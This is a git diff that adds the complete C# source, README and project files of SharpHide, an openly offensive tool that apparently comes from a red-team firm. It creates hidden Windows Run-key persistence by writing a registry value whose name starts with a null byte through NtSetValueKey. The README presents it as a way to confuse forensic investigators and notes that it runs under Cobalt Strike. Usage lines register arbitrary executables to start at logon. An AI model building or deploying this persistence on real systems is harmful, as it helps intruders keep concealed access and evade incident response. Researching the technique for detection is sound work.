diff --git a/README.md b/README.md
index a100e67..51593fc 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,28 @@
# SharpHide
-
+Just a nice persistence trick to confuse DFIR investigation.
+Uses NtSetValueKey native API to create a hidden (null terminated) registry key.
+This works by adding a null byte in front of the UNICODE_STRING key valuename.
+
+More info about this technique can be found in the following paper:
+https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf
+
+The tool uses the following registry path in which it creates the hidden run key:
+(HKCU if user, else HKLM)\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
+
+## Usage
+To Create hidden registry (Run) key:
+
+```
+SharpHide.exe action=create keyvalue="C:\Windows\Temp\Bla.exe arg1 arg2"
+```
+
+Delete hidden registry (Run) key:
+
+```
+SharpHide.exe action=delete
+```
+
+This tool also works with Cobalt Strike's execute-assembly.
+
+## Credits
+Author: Cornelis de Plaa (@Cneelis) / Outflank
diff --git a/SharpHide.sln b/SharpHide.sln
new file mode 100755
index 0000000..c21206d
--- /dev/null
+++ b/SharpHide.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio 15
+VisualStudioVersion = 15.0.28307.902
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpHide", "SharpHide\SharpHide.csproj", "{443D8CBF-899C-4C22-B4F6-B7AC202D4E37}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {443D8CBF-899C-4C22-B4F6-B7AC202D4E37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {443D8CBF-899C-4C22-B4F6-B7AC202D4E37}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {443D8CBF-899C-4C22-B4F6-B7AC202D4E37}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {443D8CBF-899C-4C22-B4F6-B7AC202D4E37}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {FB22CF52-0C11-46F6-AFC3-740019C707F2}
+ EndGlobalSection
+EndGlobal
diff --git a/SharpHide/App.config b/SharpHide/App.config
new file mode 100755
index 0000000..731f6de
--- /dev/null
+++ b/SharpHide/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpHide/Program.cs b/SharpHide/Program.cs
new file mode 100755
index 0000000..6dd7d1c
--- /dev/null
+++ b/SharpHide/Program.cs
@@ -0,0 +1,191 @@
+using System;
+using System.Security.Principal;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+
+namespace SharpHide
+{
+ class Program
+ {
+ static void Usage()
+ {
+ Console.WriteLine("\r\n[+] SharpHide");
+ Console.WriteLine("[+] Create hidden registry (Run) key:\r\n SharpHide.exe action=create keyvalue=\"C:\\Windows\\Temp\\Bla.exe arg1 arg2\"");
+ Console.WriteLine("[+] Delete hidden registry (Run) key:\r\n SharpHide.exe action=delete");
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct UNICODE_STRING : IDisposable
+ {
+ public ushort Length;
+ public ushort MaximumLength;
+ public IntPtr buffer;
+
+ public UNICODE_STRING(string s)
+ {
+ Length = (ushort)(s.Length * 2);
+ MaximumLength = (ushort)(Length + 2);
+ buffer = Marshal.StringToHGlobalUni(s);
+ }
+
+ public void Dispose()
+ {
+ Marshal.FreeHGlobal(buffer);
+ buffer = IntPtr.Zero;
+ }
+
+ public override string ToString()
+ {
+ return Marshal.PtrToStringUni(buffer);
+ }
+ }
+
+ enum RegistryKeyType
+ {
+ REG_NONE = 0,
+ REG_SZ = 1,
+ REG_EXPAND_SZ = 2,
+ REG_BINARY = 3,
+ REG_DWORD = 4,
+ REG_DWORD_LITTLE_ENDIAN = 4,
+ REG_DWORD_BIG_ENDIAN = 5,
+ REG_LINK = 6,
+ REG_MULTI_SZ = 7
+ }
+
+ public static UIntPtr HKEY_CURRENT_USER = (UIntPtr)0x80000001;
+ public static UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002;
+ public static int KEY_QUERY_VALUE = 0x0001;
+ public static int KEY_SET_VALUE = 0x0002;
+ public static int KEY_CREATE_SUB_KEY = 0x0004;
+ public static int KEY_ENUMERATE_SUB_KEYS = 0x0008;
+ public static int KEY_WOW64_64KEY = 0x0100;
+ public static int KEY_WOW64_32KEY = 0x0200;
+
+ [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
+ public static extern uint RegOpenKeyEx(
+ UIntPtr hKey,
+ string subKey,
+ int ulOptions,
+ int samDesired,
+ out UIntPtr KeyHandle
+ );
+
+ [DllImport("ntdll.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)]
+ static extern uint NtSetValueKey(
+ UIntPtr KeyHandle,
+ IntPtr ValueName,
+ int TitleIndex,
+ RegistryKeyType Type,
+ IntPtr Data,
+ int DataSize
+ );
+
+ [DllImport("ntdll.dll", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.StdCall)]
+ static extern uint NtDeleteValueKey(
+ UIntPtr KeyHandle,
+ IntPtr ValueName
+ );
+
+ [DllImport("advapi32.dll", SetLastError = true)]
+ public static extern int RegCloseKey(
+ UIntPtr KeyHandle
+ );
+
+ static IntPtr StructureToPtr(object obj)
+ {
+ IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj));
+ Marshal.StructureToPtr(obj, ptr, false);
+ return ptr;
+ }
+
+ public static bool IsElevated
+ {
+ get
+ {
+ return WindowsIdentity.GetCurrent().Owner
+ .IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);
+ }
+ }
+
+ static void Main(string[] args)
+ {
+ if (args.Length < 1) {
+ Usage();
+ return;
+ }
+
+ var arguments = new Dictionary();
+ foreach (string argument in args)
+ {
+ int idx = argument.IndexOf('=');
+ if (idx > 0)
+ arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
+ }
+
+ if (!arguments.ContainsKey("action")) {
+ Usage();
+ return;
+ }
+
+ if ((arguments["action"] != "create") && (arguments["action"] != "delete")) {
+ Usage();
+ return;
+ }
+
+ if ((arguments["action"] == "create") && (!arguments.ContainsKey("keyvalue"))) {
+ Usage();
+ return;
+ }
+
+ UIntPtr regKeyHandle = UIntPtr.Zero;
+ string runKeyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
+
+ bool IsSystem;
+ using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent())
+ {
+ IsSystem = identity.IsSystem;
+ }
+
+ uint Status = 0xc0000000;
+ uint STATUS_SUCCESS = 0x00000000;
+
+ if (IsSystem || IsElevated)
+ {
+ Console.WriteLine("\n[+] SharpHide running as elevated user:\r\n Using HKLM\\{0}", runKeyPath);
+ Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, runKeyPath, 0, KEY_SET_VALUE, out regKeyHandle);
+ }
+ else
+ {
+ Console.WriteLine("\n[+] SharpHide running as normal user:\r\n Using HKCU\\{0}", runKeyPath);
+ Status = RegOpenKeyEx(HKEY_CURRENT_USER, runKeyPath, 0, KEY_SET_VALUE, out regKeyHandle);
+ }
+
+ UNICODE_STRING ValueName = new UNICODE_STRING("\00CatchMe");
+ IntPtr ValueNamePtr = StructureToPtr(ValueName);
+
+ if (arguments["action"] == "delete") {
+ Status = NtDeleteValueKey(regKeyHandle, ValueNamePtr);
+ if (Status.Equals(STATUS_SUCCESS)) {
+ Console.WriteLine("[+] Key successfully deleted.");
+ }
+ else {
+ Console.WriteLine("[!] Failed to delete registry key.");
+ }
+ }
+ else {
+ UNICODE_STRING ValueData = new UNICODE_STRING(arguments["keyvalue"]);
+ Status = NtSetValueKey(regKeyHandle, ValueNamePtr, 0, RegistryKeyType.REG_SZ, ValueData.buffer, ValueData.MaximumLength);
+ if (Status.Equals(STATUS_SUCCESS)) {
+ Console.WriteLine("[+] Key successfully created.");
+ }
+ else {
+ Console.WriteLine("[!] Failed to create registry key.");
+ }
+ }
+
+ RegCloseKey(regKeyHandle);
+ return;
+ }
+ }
+}
diff --git a/SharpHide/Properties/AssemblyInfo.cs b/SharpHide/Properties/AssemblyInfo.cs
new file mode 100755
index 0000000..fc9231d
--- /dev/null
+++ b/SharpHide/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SharpHide")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("SharpHide")]
+[assembly: AssemblyCopyright("Copyright © 2019")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("443d8cbf-899c-4c22-b4f6-b7ac202d4e37")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/SharpHide/SharpHide.csproj b/SharpHide/SharpHide.csproj
new file mode 100755
index 0000000..905e5a2
--- /dev/null
+++ b/SharpHide/SharpHide.csproj
@@ -0,0 +1,55 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {443D8CBF-899C-4C22-B4F6-B7AC202D4E37}
+ Exe
+ SharpHide
+ SharpHide
+ v4.6.1
+ 512
+ true
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+ false
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+ false
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpHide/SharpHide.csproj.user b/SharpHide/SharpHide.csproj.user
new file mode 100755
index 0000000..e906c9b
--- /dev/null
+++ b/SharpHide/SharpHide.csproj.user
@@ -0,0 +1,6 @@
+
+
+
+ action=create keyvalue="C:\Windows\Bla.exe bla"
+
+
\ No newline at end of file